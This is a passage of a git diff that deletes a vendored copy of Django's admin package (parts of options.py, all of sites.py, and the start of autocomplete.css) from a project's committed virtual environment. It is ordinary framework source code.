cl.formset = FormSet(queryset=cl.result_list) - - # Build the list of media to be used by the formset. - if formset: - media = self.media + formset.media - else: - media = self.media - - # Build the action form and populate it with available actions. - if actions: - action_form = self.action_form(auto_id=None) - action_form.fields["action"].choices = self.get_action_choices(request) - media += action_form.media - else: - action_form = None - - selection_note_all = ngettext( - "%(total_count)s selected", "All %(total_count)s selected", cl.result_count - ) - - context = { - **self.admin_site.each_context(request), - "module_name": str(self.opts.verbose_name_plural), - "selection_note": _("0 of %(cnt)s selected") % {"cnt": len(cl.result_list)}, - "selection_note_all": selection_note_all % {"total_count": cl.result_count}, - "title": cl.title, - "subtitle": None, - "is_popup": cl.is_popup, - "to_field": cl.to_field, - "cl": cl, - "media": media, - "has_add_permission": self.has_add_permission(request), - "opts": cl.opts, - "action_form": action_form, - "actions_on_top": self.actions_on_top, - "actions_on_bottom": self.actions_on_bottom, - "actions_selection_counter": self.actions_selection_counter, - "preserved_filters": self.get_preserved_filters(request), - **(extra_context or {}), - } - - request.current_app = self.admin_site.name - - return TemplateResponse( - request, - self.change_list_template - or [ - "admin/%s/%s/change_list.html" % (app_label, self.opts.model_name), - "admin/%s/change_list.html" % app_label, - "admin/change_list.html", - ], - context, - ) - - def get_deleted_objects(self, objs, request): - """ - Hook for customizing the delete process for the delete view and the - "delete selected" action. - """ - return get_deleted_objects(objs, request, self.admin_site) - - @csrf_protect_m - def delete_view(self, request, object_id, extra_context=None): - if request.method in ("GET", "HEAD", "OPTIONS", "TRACE"): - return self._delete_view(request, object_id, extra_context) - - with transaction.atomic(using=router.db_for_write(self.model)): - return self._delete_view(request, object_id, extra_context) - - def _delete_view(self, request, object_id, extra_context): - "The 'delete' admin view for this model." - app_label = self.opts.app_label - - to_field = request.POST.get(TO_FIELD_VAR, request.GET.get(TO_FIELD_VAR)) - if to_field and not self.to_field_allowed(request, to_field): - raise DisallowedModelAdminToField( - "The field %s cannot be referenced." % to_field - ) - - obj = self.get_object(request, unquote(object_id), to_field) - - if not self.has_delete_permission(request, obj): - raise PermissionDenied - - if obj is None: - return self._get_obj_does_not_exist_redirect(request, self.opts, object_id) - - # Populate deleted_objects, a data structure of all related objects that - # will also be deleted. - ( - deleted_objects, - model_count, - perms_needed, - protected, - ) = self.get_deleted_objects([obj], request) - - if request.POST and not protected: # The user has confirmed the deletion. - if perms_needed: - raise PermissionDenied - obj_display = str(obj) - attr = str(to_field) if to_field else self.opts.pk.attname - obj_id = obj.serializable_value(attr) - self.log_deletions(request, [obj]) - self.delete_model(request, obj) - - return self.response_delete(request, obj_display, obj_id) - - object_name = str(self.opts.verbose_name) - - if perms_needed or protected: - title = _("Cannot delete %(name)s") % {"name": object_name} - else: - title = _("Delete") - - context = { - **self.admin_site.each_context(request), - "title": title, - "subtitle": None, - "object_name": object_name, - "object": obj, - "deleted_objects": deleted_objects, - "model_count": dict(model_count).items(), - "perms_lacking": perms_needed, - "protected": protected, - "opts": self.opts, - "app_label": app_label, - "preserved_filters": self.get_preserved_filters(request), - "is_popup": IS_POPUP_VAR in request.POST or IS_POPUP_VAR in request.GET, - "to_field": to_field, - **(extra_context or {}), - } - - return self.render_delete_form(request, context) - - def history_view(self, request, object_id, extra_context=None): - "The 'history' admin view for this model." - from django.contrib.admin.models import LogEntry - from django.contrib.admin.views.main import PAGE_VAR - - # First check if the user can see this history. - model = self.model - obj = self.get_object(request, unquote(object_id)) - if obj is None: - return self._get_obj_does_not_exist_redirect( - request, model._meta, object_id - ) - - if not self.has_view_or_change_permission(request, obj): - raise PermissionDenied - - # Then get the history for this object. - app_label = self.opts.app_label - action_list = ( - LogEntry.objects.filter( - object_id=unquote(object_id), - content_type=get_content_type_for_model(model), - ) - .select_related() - .order_by("action_time") - ) - - paginator = self.get_paginator(request, action_list, 100) - page_number = request.GET.get(PAGE_VAR, 1) - page_obj = paginator.get_page(page_number) - page_range = paginator.get_elided_page_range(page_obj.number) - - context = { - **self.admin_site.each_context(request), - "title": _("Change history: %s") % obj, - "subtitle": None, - "action_list": page_obj, - "page_range": page_range, - "page_var": PAGE_VAR, - "pagination_required": paginator.count > 100, - "module_name": str(capfirst(self.opts.verbose_name_plural)), - "object": obj, - "opts": self.opts, - "preserved_filters": self.get_preserved_filters(request), - **(extra_context or {}), - } - - request.current_app = self.admin_site.name - - return TemplateResponse( - request, - self.object_history_template - or [ - "admin/%s/%s/object_history.html" % (app_label, self.opts.model_name), - "admin/%s/object_history.html" % app_label, - "admin/object_history.html", - ], - context, - ) - - def get_formset_kwargs(self, request, obj, inline, prefix): - formset_params = { - "instance": obj, - "prefix": prefix, - "queryset": inline.get_queryset(request), - } - if request.method == "POST": - formset_params.update( - { - "data": request.POST.copy(), - "files": request.FILES, - "save_as_new": "_saveasnew" in request.POST, - } - ) - return formset_params - - def _create_formsets(self, request, obj, change): - "Helper function to generate formsets for add/change_view." - formsets = [] - inline_instances = [] - prefixes = {} - get_formsets_args = [request] - if change: - get_formsets_args.append(obj) - for FormSet, inline in self.get_formsets_with_inlines(*get_formsets_args): - prefix = FormSet.get_default_prefix() - prefixes[prefix] = prefixes.get(prefix, 0) + 1 - if prefixes[prefix] != 1 or not prefix: - prefix = "%s-%s" % (prefix, prefixes[prefix]) - formset_params = self.get_formset_kwargs(request, obj, inline, prefix) - formset = FormSet(**formset_params) - - def user_deleted_form(request, obj, formset, index, inline): - """Return whether or not the user deleted the form.""" - return ( - inline.has_delete_permission(request, obj) - and "{}-{}-DELETE".format(formset.prefix, index) in request.POST - ) - - # Bypass validation of each view-only inline form (since the form's - # data won't be in request.POST), unless the form was deleted. - if not inline.has_change_permission(request, obj if change else None): - for index, form in enumerate(formset.initial_forms): - if user_deleted_form(request, obj, formset, index, inline): - continue - form._errors = {} - form.cleaned_data = form.initial - formsets.append(formset) - inline_instances.append(inline) - return formsets, inline_instances - - -class InlineModelAdmin(BaseModelAdmin): - """ - Options for inline editing of ``model`` instances. - - Provide ``fk_name`` to specify the attribute name of the ``ForeignKey`` - from ``model`` to its parent. This is required if ``model`` has more than - one ``ForeignKey`` to its parent. - """ - - model = None - fk_name = None - formset = BaseInlineFormSet - extra = 3 - min_num = None - max_num = None - template = None - verbose_name = None - verbose_name_plural = None - can_delete = True - show_change_link = False - checks_class = InlineModelAdminChecks - classes = None - - def __init__(self, parent_model, admin_site): - self.admin_site = admin_site - self.parent_model = parent_model - self.opts = self.model._meta - self.has_registered_model = admin_site.is_registered(self.model) - super().__init__() - if self.verbose_name_plural is None: - if self.verbose_name is None: - self.verbose_name_plural = self.opts.verbose_name_plural - else: - self.verbose_name_plural = format_lazy("{}s", self.verbose_name) - if self.verbose_name is None: - self.verbose_name = self.opts.verbose_name - - @property - def media(self): - extra = "" if settings.DEBUG else ".min" - js = ["vendor/jquery/jquery%s.js" % extra, "jquery.init.js", "inlines.js"] - if self.filter_vertical or self.filter_horizontal: - js.extend(["SelectBox.js", "SelectFilter2.js"]) - return forms.Media(js=["admin/js/%s" % url for url in js]) - - def get_extra(self, request, obj=None, **kwargs): - """Hook for customizing the number of extra inline forms.""" - return self.extra - - def get_min_num(self, request, obj=None, **kwargs): - """Hook for customizing the min number of inline forms.""" - return self.min_num - - def get_max_num(self, request, obj=None, **kwargs): - """Hook for customizing the max number of extra inline forms.""" - return self.max_num - - def get_formset(self, request, obj=None, **kwargs): - """Return a BaseInlineFormSet class for use in admin add/change views.""" - if "fields" in kwargs: - fields = kwargs.pop("fields") - else: - fields = flatten_fieldsets(self.get_fieldsets(request, obj)) - excluded = self.get_exclude(request, obj) - exclude = [] if excluded is None else list(excluded) - exclude.extend(self.get_readonly_fields(request, obj)) - if excluded is None and hasattr(self.form, "_meta") and self.form._meta.exclude: - # Take the custom ModelForm's Meta.exclude into account only if the - # InlineModelAdmin doesn't define its own. - exclude.extend(self.form._meta.exclude) - # If exclude is an empty list we use None, since that's the actual - # default. - exclude = exclude or None - can_delete = self.can_delete and self.has_delete_permission(request, obj) - defaults = { - "form": self.form, - "formset": self.formset, - "fk_name": self.fk_name, - "fields": fields, - "exclude": exclude, - "formfield_callback": partial(self.formfield_for_dbfield, request=request), - "extra": self.get_extra(request, obj, **kwargs), - "min_num": self.get_min_num(request, obj, **kwargs), - "max_num": self.get_max_num(request, obj, **kwargs), - "can_delete": can_delete, - **kwargs, - } - - base_model_form = defaults["form"] - can_change = self.has_change_permission(request, obj) if request else True - can_add = self.has_add_permission(request, obj) if request else True - - class DeleteProtectedModelForm(base_model_form): - def hand_clean_DELETE(self): - """ - We don't validate the 'DELETE' field itself because on - templates it's not rendered using the field information, but - just using a generic "deletion_field" of the InlineModelAdmin. - """ - if self.cleaned_data.get(DELETION_FIELD_NAME, False): - using = router.db_for_write(self._meta.model) - collector = NestedObjects(using=using) - if self.instance._state.adding: - return - collector.collect([self.instance]) - if collector.protected: - objs = [] - for p in collector.protected: - objs.append( - # Translators: Model verbose name and instance - # representation, suitable to be an item in a - # list. - _("%(class_name)s %(instance)s") - % {"class_name": p._meta.verbose_name, "instance": p} - ) - params = { - "class_name": self._meta.model._meta.verbose_name, - "instance": self.instance, - "related_objects": get_text_list(objs, _("and")), - } - msg = _( - "Deleting %(class_name)s %(instance)s would require " - "deleting the following protected related objects: " - "%(related_objects)s" - ) - raise ValidationError( - msg, code="deleting_protected", params=params - ) - - def is_valid(self): - result = super().is_valid() - self.hand_clean_DELETE() - return result - - def has_changed(self): - # Protect against unauthorized edits. - if not can_change and not self.instance._state.adding: - return False - if not can_add and self.instance._state.adding: - return False - return super().has_changed() - - defaults["form"] = DeleteProtectedModelForm - - if defaults["fields"] is None and not modelform_defines_fields( - defaults["form"] - ): - defaults["fields"] = forms.ALL_FIELDS - - return inlineformset_factory(self.parent_model, self.model, **defaults) - - def _get_form_for_get_fields(self, request, obj=None): - return self.get_formset(request, obj, fields=None).form - - def get_queryset(self, request): - queryset = super().get_queryset(request) - if not self.has_view_or_change_permission(request): - queryset = queryset.none() - return queryset - - def _has_any_perms_for_target_model(self, request, perms): - """ - This method is called only when the ModelAdmin's model is for an - ManyToManyField's implicit through model (if self.opts.auto_created). - Return True if the user has any of the given permissions ('add', - 'change', etc.) for the model that points to the through model. - """ - opts = self.opts - # Find the target model of an auto-created many-to-many relationship. - for field in opts.fields: - if field.remote_field and field.remote_field.model != self.parent_model: - opts = field.remote_field.model._meta - break - return any( - request.user.has_perm( - "%s.%s" % (opts.app_label, get_permission_codename(perm, opts)) - ) - for perm in perms - ) - - def has_add_permission(self, request, obj): - if self.opts.auto_created: - # Auto-created intermediate models don't have their own - # permissions. The user needs to have the change permission for the - # related model in order to be able to do anything with the - # intermediate model. - return self._has_any_perms_for_target_model(request, ["change"]) - return super().has_add_permission(request) - - def has_change_permission(self, request, obj=None): - if self.opts.auto_created: - # Same comment as has_add_permission(). - return self._has_any_perms_for_target_model(request, ["change"]) - return super().has_change_permission(request) - - def has_delete_permission(self, request, obj=None): - if self.opts.auto_created: - # Same comment as has_add_permission(). - return self._has_any_perms_for_target_model(request, ["change"]) - return super().has_delete_permission(request, obj) - - def has_view_permission(self, request, obj=None): - if self.opts.auto_created: - # Same comment as has_add_permission(). The 'change' permission - # also implies the 'view' permission. - return self._has_any_perms_for_target_model(request, ["view", "change"]) - return super().has_view_permission(request) - - -class StackedInline(InlineModelAdmin): - template = "admin/edit_inline/stacked.html" - - -class TabularInline(InlineModelAdmin): - template = "admin/edit_inline/tabular.html" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/sites.py b/backend/venv/Lib/site-packages/django/contrib/admin/sites.py deleted file mode 100644 index 201f28ef..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/sites.py +++ /dev/null @@ -1,621 +0,0 @@ -from functools import update_wrapper -from weakref import WeakSet - -from django.apps import apps -from django.conf import settings -from django.contrib.admin import ModelAdmin, actions -from django.contrib.admin.exceptions import AlreadyRegistered, NotRegistered -from django.contrib.admin.views.autocomplete import AutocompleteJsonView -from django.contrib.auth import REDIRECT_FIELD_NAME -from django.contrib.auth.decorators import login_not_required -from django.core.exceptions import ImproperlyConfigured -from django.db.models.base import ModelBase -from django.http import Http404, HttpResponsePermanentRedirect, HttpResponseRedirect -from django.template.response import TemplateResponse -from django.urls import NoReverseMatch, Resolver404, resolve, reverse, reverse_lazy -from django.utils.decorators import method_decorator -from django.utils.functional import LazyObject -from django.utils.module_loading import import_string -from django.utils.text import capfirst -from django.utils.translation import gettext as _ -from django.utils.translation import gettext_lazy -from django.views.decorators.cache import never_cache -from django.views.decorators.common import no_append_slash -from django.views.decorators.csrf import csrf_protect -from django.views.i18n import JavaScriptCatalog - -all_sites = WeakSet() - - -class AdminSite: - """ - An AdminSite object encapsulates an instance of the Django admin application, ready - to be hooked in to your URLconf. Models are registered with the AdminSite using the - register() method, and the get_urls() method can then be used to access Django view - functions that present a full admin interface for the collection of registered - models. - """ - - # Text to put at the end of each page's . - site_title = gettext_lazy("Django site admin") - - # Text to put in each page's <div id="site-name">. - site_header = gettext_lazy("Django administration") - - # Text to put at the top of the admin index page. - index_title = gettext_lazy("Site administration") - - # URL for the "View site" link at the top of each admin page. - site_url = "/" - - enable_nav_sidebar = True - - empty_value_display = "-" - - login_form = None - index_template = None - app_index_template = None - login_template = None - logout_template = None - password_change_template = None - password_change_done_template = None - - final_catch_all_view = True - - def __init__(self, name="admin"): - self._registry = {} # model_class class -> admin_class instance - self.name = name - self._actions = {"delete_selected": actions.delete_selected} - self._global_actions = self._actions.copy() - all_sites.add(self) - - def __repr__(self): - return f"{self.__class__.__name__}(name={self.name!r})" - - def check(self, app_configs): - """ - Run the system checks on all ModelAdmins, except if they aren't - customized at all. - """ - if app_configs is None: - app_configs = apps.get_app_configs() - app_configs = set(app_configs) # Speed up lookups below - - errors = [] - modeladmins = ( - o for o in self._registry.values() if o.__class__ is not ModelAdmin - ) - for modeladmin in modeladmins: - if modeladmin.model._meta.app_config in app_configs: - errors.extend(modeladmin.check()) - return errors - - def register(self, model_or_iterable, admin_class=None, **options): - """ - Register the given model(s) with the given admin class. - - The model(s) should be Model classes, not instances. - - If an admin class isn't given, use ModelAdmin (the default admin - options). If keyword arguments are given -- e.g., list_display -- - apply them as options to the admin class. - - If a model is already registered, raise AlreadyRegistered. - - If a model is abstract, raise ImproperlyConfigured. - """ - admin_class = admin_class or ModelAdmin - if isinstance(model_or_iterable, ModelBase): - model_or_iterable = [model_or_iterable] - for model in model_or_iterable: - if model._meta.abstract: - raise ImproperlyConfigured( - "The model %s is abstract, so it cannot be registered with admin." - % model.__name__ - ) - if model._meta.is_composite_pk: - raise ImproperlyConfigured( - "The model %s has a composite primary key, so it cannot be " - "registered with admin." % model.__name__ - ) - - if self.is_registered(model): - registered_admin = str(self.get_model_admin(model)) - msg = "The model %s is already registered " % model.__name__ - if registered_admin.endswith(".ModelAdmin"): - # Most likely registered without a ModelAdmin subclass. - msg += "in app %r." % registered_admin.removesuffix(".ModelAdmin") - else: - msg += "with %r." % registered_admin - raise AlreadyRegistered(msg) - - # Ignore the registration if the model has been - # swapped out. - if not model._meta.swapped: - # If we got **options then dynamically construct a subclass of - # admin_class with those **options. - if options: - # For reasons I don't quite understand, without a __module__ - # the created class appears to "live" in the wrong place, - # which causes issues later on. - options["__module__"] = __name__ - admin_class = type( - "%sAdmin" % model.__name__, (admin_class,), options - ) - - # Instantiate the admin class to save in the registry - self._registry[model] = admin_class(model, self) - - def unregister(self, model_or_iterable): - """ - Unregister the given model(s). - - If a model isn't already registered, raise NotRegistered. - """ - if isinstance(model_or_iterable, ModelBase): - model_or_iterable = [model_or_iterable] - for model in model_or_iterable: - if not self.is_registered(model): - raise NotRegistered("The model %s is not registered" % model.__name__) - del self._registry[model] - - def is_registered(self, model): - """ - Check if a model class is registered with this `AdminSite`. - """ - return model in self._registry - - def get_model_admin(self, model): - try: - return self._registry[model] - except KeyError: - raise NotRegistered(f"The model {model.__name__} is not registered.") - - def add_action(self, action, name=None): - """ - Register an action to be available globally. - """ - name = name or action.__name__ - self._actions[name] = action - self._global_actions[name] = action - - def disable_action(self, name): - """ - Disable a globally-registered action. Raise KeyError for invalid names. - """ - del self._actions[name] - - def get_action(self, name): - """ - Explicitly get a registered global action whether it's enabled or - not. Raise KeyError for invalid names. - """ - return self._global_actions[name] - - @property - def actions(self): - """ - Get all the enabled actions as an iterable of (name, func). - """ - return self._actions.items() - - def has_permission(self, request): - """ - Return True if the given HttpRequest has permission to view - *at least one* page in the admin site. - """ - return request.user.is_active and request.user.is_staff - - def admin_view(self, view, cacheable=False): - """ - Decorator to create an admin view attached to this ``AdminSite``. This - wraps the view and provides permission checking by calling - ``self.has_permission``. - - You'll want to use this from within ``AdminSite.get_urls()``: - - class MyAdminSite(AdminSite): - - def get_urls(self): - from django.urls import path - - urls = super().get_urls() - urls += [ - path('my_view/', self.admin_view(some_view)) - ] - return urls - - By default, admin_views are marked non-cacheable using the - ``never_cache`` decorator. If the view can be safely cached, set - cacheable=True. - """ - - def inner(request, *args, **kwargs): - if not self.has_permission(request): - if request.path == reverse("admin:logout", current_app=self.name): - index_path = reverse("admin:index", current_app=self.name) - return HttpResponseRedirect(index_path) - # Inner import to prevent django.contrib.admin (app) from - # importing django.contrib.auth.models.User (unrelated model). - from django.contrib.auth.views import redirect_to_login - - return redirect_to_login( - request.get_full_path(), - reverse("admin:login", current_app=self.name), - ) - return view(request, *args, **kwargs) - - if not cacheable: - inner = never_cache(inner) - # We add csrf_protect here so this function can be used as a utility - # function for any view, without having to repeat 'csrf_protect'. - if not getattr(view, "csrf_exempt", False): - inner = csrf_protect(inner) - return update_wrapper(inner, view) - - def get_urls(self): - # Since this module gets imported in the application's root package, - # it cannot import models from other applications at the module level, - # and django.contrib.contenttypes.views imports ContentType. - from django.contrib.contenttypes import views as contenttype_views - from django.urls import include, path, re_path - - def wrap(view, cacheable=False): - def wrapper(*args, **kwargs): - return self.admin_view(view, cacheable)(*args, **kwargs) - - wrapper.admin_site = self - # Used by LoginRequiredMiddleware. - wrapper.login_url = reverse_lazy("admin:login", current_app=self.name) - return update_wrapper(wrapper, view) - - # Admin-site-wide views. - urlpatterns = [ - path("", wrap(self.index), name="index"), - path("login/", self.login, name="login"), - path("logout/", wrap(self.logout), name="logout"), - path( - "password_change/", - wrap(self.password_change, cacheable=True), - name="password_change", - ), - path( - "password_change/done/", - wrap(self.password_change_done, cacheable=True), - name="password_change_done", - ), - path("autocomplete/", wrap(self.autocomplete_view), name="autocomplete"), - path("jsi18n/", wrap(self.i18n_javascript, cacheable=True), name="jsi18n"), - path( - "r/<path:content_type_id>/<path:object_id>/", - wrap(contenttype_views.shortcut), - name="view_on_site", - ), - ] - - # Add in each model's views, and create a list of valid URLS for the - # app_index - valid_app_labels = [] - for model, model_admin in self._registry.items(): - urlpatterns += [ - path( - "%s/%s/" % (model._meta.app_label, model._meta.model_name), - include(model_admin.urls), - ), - ] - if model._meta.app_label not in valid_app_labels: - valid_app_labels.append(model._meta.app_label) - - # If there were ModelAdmins registered, we should have a list of app - # labels for which we need to allow access to the app_index view, - if valid_app_labels: - regex = r"^(?P<app_label>" + "|".join(valid_app_labels) + ")/$" - urlpatterns += [ - re_path(regex, wrap(self.app_index), name="app_list"), - ] - - if self.final_catch_all_view: - urlpatterns.append(re_path(r"(?P<url>.*)$", wrap(self.catch_all_view))) - - return urlpatterns - - @property - def urls(self): - return self.get_urls(), "admin", self.name - - def each_context(self, request): - """ - Return a dictionary of variables to put in the template context for - *every* page in the admin site. - - For sites running on a subpath, use the SCRIPT_NAME value if site_url - hasn't been customized. - """ - script_name = request.META["SCRIPT_NAME"] - site_url = ( - script_name if self.site_url == "/" and script_name else self.site_url - ) - return { - "site_title": self.site_title, - "site_header": self.site_header, - "site_url": site_url, - "has_permission": self.has_permission(request), - "available_apps": self.get_app_list(request), - "is_popup": False, - "is_nav_sidebar_enabled": self.enable_nav_sidebar, - "log_entries": self.get_log_entries(request), - } - - def password_change(self, request, extra_context=None): - """ - Handle the "change password" task -- both form display and validation. - """ - from django.contrib.admin.forms import AdminPasswordChangeForm - from django.contrib.auth.views import PasswordChangeView - - url = reverse("admin:password_change_done", current_app=self.name) - defaults = { - "form_class": AdminPasswordChangeForm, - "success_url": url, - "extra_context": {**self.each_context(request), **(extra_context or {})}, - } - if self.password_change_template is not None: - defaults["template_name"] = self.password_change_template - request.current_app = self.name - return PasswordChangeView.as_view(**defaults)(request) - - def password_change_done(self, request, extra_context=None): - """ - Display the "success" page after a password change. - """ - from django.contrib.auth.views import PasswordChangeDoneView - - defaults = { - "extra_context": {**self.each_context(request), **(extra_context or {})}, - } - if self.password_change_done_template is not None: - defaults["template_name"] = self.password_change_done_template - request.current_app = self.name - return PasswordChangeDoneView.as_view(**defaults)(request) - - def i18n_javascript(self, request, extra_context=None): - """ - Display the i18n JavaScript that the Django admin requires. - - `extra_context` is unused but present for consistency with the other - admin views. - """ - return JavaScriptCatalog.as_view(packages=["django.contrib.admin"])(request) - - def logout(self, request, extra_context=None): - """ - Log out the user for the given HttpRequest. - - This should *not* assume the user is already logged in. - """ - from django.contrib.auth.views import LogoutView - - defaults = { - "extra_context": { - **self.each_context(request), - # Since the user isn't logged out at this point, the value of - # has_permission must be overridden. - "has_permission": False, - **(extra_context or {}), - }, - } - if self.logout_template is not None: - defaults["template_name"] = self.logout_template - request.current_app = self.name - return LogoutView.as_view(**defaults)(request) - - @method_decorator(never_cache) - @login_not_required - def login(self, request, extra_context=None): - """ - Display the login form for the given HttpRequest. - """ - if request.method == "GET" and self.has_permission(request): - # Already logged-in, redirect to admin index - index_path = reverse("admin:index", current_app=self.name) - return HttpResponseRedirect(index_path) - - # Since this module gets imported in the application's root package, - # it cannot import models from other applications at the module level, - # and django.contrib.admin.forms eventually imports User. - from django.contrib.admin.forms import AdminAuthenticationForm - from django.contrib.auth.views import LoginView - - context = { - **self.each_context(request), - "title": _("Log in"), - "subtitle": None, - "app_path": request.get_full_path(), - "username": request.user.get_username(), - } - if ( - REDIRECT_FIELD_NAME not in request.GET - and REDIRECT_FIELD_NAME not in request.POST - ): - context[REDIRECT_FIELD_NAME] = reverse("admin:index", current_app=self.name) - context.update(extra_context or {}) - - defaults = { - "extra_context": context, - "authentication_form": self.login_form or AdminAuthenticationForm, - "template_name": self.login_template or "admin/login.html", - } - request.current_app = self.name - return LoginView.as_view(**defaults)(request) - - def autocomplete_view(self, request): - return AutocompleteJsonView.as_view(admin_site=self)(request) - - @no_append_slash - def catch_all_view(self, request, url): - if settings.APPEND_SLASH and not url.endswith("/"): - urlconf = getattr(request, "urlconf", None) - try: - match = resolve("%s/" % request.path_info, urlconf) - except Resolver404: - pass - else: - if getattr(match.func, "should_append_slash", True): - return HttpResponsePermanentRedirect( - request.get_full_path(force_append_slash=True) - ) - raise Http404 - - def _build_app_dict(self, request, label=None): - """ - Build the app dictionary. The optional `label` parameter filters models - of a specific app. - """ - app_dict = {} - - if label: - models = { - m: m_a - for m, m_a in self._registry.items() - if m._meta.app_label == label - } - else: - models = self._registry - - for model, model_admin in models.items(): - app_label = model._meta.app_label - - has_module_perms = model_admin.has_module_permission(request) - if not has_module_perms: - continue - - perms = model_admin.get_model_perms(request) - - # Check whether user has any perm for this module. - # If so, add the module to the model_list. - if True not in perms.values(): - continue - - info = (app_label, model._meta.model_name) - model_dict = { - "model": model, - "name": capfirst(model._meta.verbose_name_plural), - "object_name": model._meta.object_name, - "perms": perms, - "admin_url": None, - "add_url": None, - } - if perms.get("change") or perms.get("view"): - model_dict["view_only"] = not perms.get("change") - try: - model_dict["admin_url"] = reverse( - "admin:%s_%s_changelist" % info, current_app=self.name - ) - except NoReverseMatch: - pass - if perms.get("add"): - try: - model_dict["add_url"] = reverse( - "admin:%s_%s_add" % info, current_app=self.name - ) - except NoReverseMatch: - pass - - if app_label in app_dict: - app_dict[app_label]["models"].append(model_dict) - else: - app_dict[app_label] = { - "name": apps.get_app_config(app_label).verbose_name, - "app_label": app_label, - "app_url": reverse( - "admin:app_list", - kwargs={"app_label": app_label}, - current_app=self.name, - ), - "has_module_perms": has_module_perms, - "models": [model_dict], - } - - return app_dict - - def get_app_list(self, request, app_label=None): - """ - Return a sorted list of all the installed apps that have been - registered in this site. - """ - app_dict = self._build_app_dict(request, app_label) - - # Sort the apps alphabetically. - app_list = sorted(app_dict.values(), key=lambda x: x["name"].lower()) - - # Sort the models alphabetically within each app. - for app in app_list: - app["models"].sort(key=lambda x: x["name"]) - - return app_list - - def index(self, request, extra_context=None): - """ - Display the main admin index page, which lists all of the installed - apps that have been registered in this site. - """ - app_list = self.get_app_list(request) - - context = { - **self.each_context(request), - "title": self.index_title, - "subtitle": None, - "app_list": app_list, - **(extra_context or {}), - } - - request.current_app = self.name - - return TemplateResponse( - request, self.index_template or "admin/index.html", context - ) - - def app_index(self, request, app_label, extra_context=None): - app_list = self.get_app_list(request, app_label) - - if not app_list: - raise Http404("The requested admin page does not exist.") - - context = { - **self.each_context(request), - "title": _("%(app)s administration") % {"app": app_list[0]["name"]}, - "subtitle": None, - "app_list": app_list, - "app_label": app_label, - **(extra_context or {}), - } - - request.current_app = self.name - - return TemplateResponse( - request, - self.app_index_template - or ["admin/%s/app_index.html" % app_label, "admin/app_index.html"], - context, - ) - - def get_log_entries(self, request): - from django.contrib.admin.models import LogEntry - - return LogEntry.objects.select_related("content_type", "user") - - -class DefaultAdminSite(LazyObject): - def _setup(self): - AdminSiteClass = import_string(apps.get_app_config("admin").default_site) - self._wrapped = AdminSiteClass() - - def __repr__(self): - return repr(self._wrapped) - - -# This global object represents the default admin site, for the common case. -# You can provide your own AdminSite using the (Simple)AdminConfig.default_site -# attribute. You can also instantiate AdminSite in your own code to create a -# custom admin site. -site = DefaultAdminSite() diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/autocomplete.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/autocomplete.css deleted file mode 100644 index 7478c2c4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/autocomplete.css +++ /dev/null @@ -1,279 +0,0 @@ -select.admin-autocomplete { - width: 20em; -} - -.select2-container--admin-autocomplete.select2-container { - min-height: 30px; -} - -.select2-container--admin-autocomplete .select2-selection--single, -.select2-container--admin-autocomplete .select2-selection--multiple { - min-height: 30px; - padding: 0; -} - -.select2-container--admin-autocomplete.select2-container--focus .select2-selection, -.select2-container--admin-autocomplete.select2-container--open .select2-selection { - border-color: var(--body-quiet-color); - min-height: 30px; -} - -.select2-container--admin-autocomplete.select2-container--focus .select2-selection.select2-selection--single, -.select2-container--admin-autocomplete.select2-container--open .select2-selection.select2-selection--single { - padding: 0; -} - -.select2-container--admin-autocomplete.select2-container--focus .select2-selection.select2-selection--multiple, -.select2-container--admin-autocomplete.select2-container--open .select2-selection.select2-selection--multiple { - padding: 0; -} - -.select2-container--admin-autocomplete .select2-selection--single { - background-color: var(--body-bg); - border: 1px solid var(--border-color); - border-radius: 4px; -} - -.select2-container--admin-autocomplete .select2-selection--single .select2-selection__rendered { - color: var(--body-fg); - line-height: 30px; -} - -.select2-container--admin-autocomplete .select2-selection--single .select2-selection__clear { - cursor: pointer; - float: right; - font-weight: bold; -} - -.select2-container--admin-autocomplete .select2-selection--single .select2-selection__placeholder { - color: var(--body-quiet-color); -} - -.select2-container--admin-autocomplete .select2-selection--single .select2-selection__arrow { - height: 26px; - position: absolute; - top: 1px; - right: 1px; - width: 20px; -} - -.select2-container--admin-autocomplete .select2-selection--single .select2-selection__arrow b { - border-color: #888 transparent transparent transparent; - border-style: solid; - border-width: 5px 4px 0 4px; - height: 0; - left: 50%; - margin-left: -4px; - margin-top: -2px; - position: absolute; - top: 50%; - width: 0; -} - -.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--single .select2-selection__clear { - float: left; -} - -.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--single .select2-selection__arrow { - left: 1px; - right: auto; -} - -.select2-container--admin-autocomplete.select2-container--disabled .select2-selection--single { - background-color: var(--darkened-bg); - cursor: default; -} - -.select2-container--admin-autocomplete.select2-container--disabled .select2-selection--single .select2-selection__clear { - display: none; -} - -.select2-container--admin-autocomplete.select2-container--open .select2-selection--single .select2-selection__arrow b { - border-color: transparent transparent #888 transparent; - border-width: 0 4px 5px 4px; -} - -.select2-container--admin-autocomplete .select2-selection--multiple { - background-color: var(--body-bg); - border: 1px solid var(--border-color); - border-radius: 4px; - cursor: text; -} - -.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__rendered { - box-sizing: border-box; - list-style: none; - margin: 0; - padding: 0 10px 5px 5px; - width: 100%; - display: flex; - flex-wrap: wrap; -} - -.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__rendered li { - list-style: none; -} - -.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__placeholder { - color: var(--body-quiet-color); - margin-top: 5px; - float: left; -} - -.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__clear { - cursor: pointer; - float: right; - font-weight: bold; - margin: 5px; - position: absolute; - right: 0; -} - -.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__choice { - background-color: var(--darkened-bg); - border: 1px solid var(--border-color); - border-radius: 4px; - cursor: default; - float: left; - margin-right: 5px; - margin-top: 5px; - padding: 0 5px; -} - -.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__choice__remove { - color: var(--body-quiet-color); - cursor: pointer; - display: inline-block; - font-weight: bold; - margin-right: 2px; -} - -.select2-container--admin-autocomplete .select2-selection--multiple .select2-selection__choice__remove:hover { - color: var(--body-fg); -} - -.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--multiple .select2-selection__choice, .select2-container--admin-autocomplete[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder, 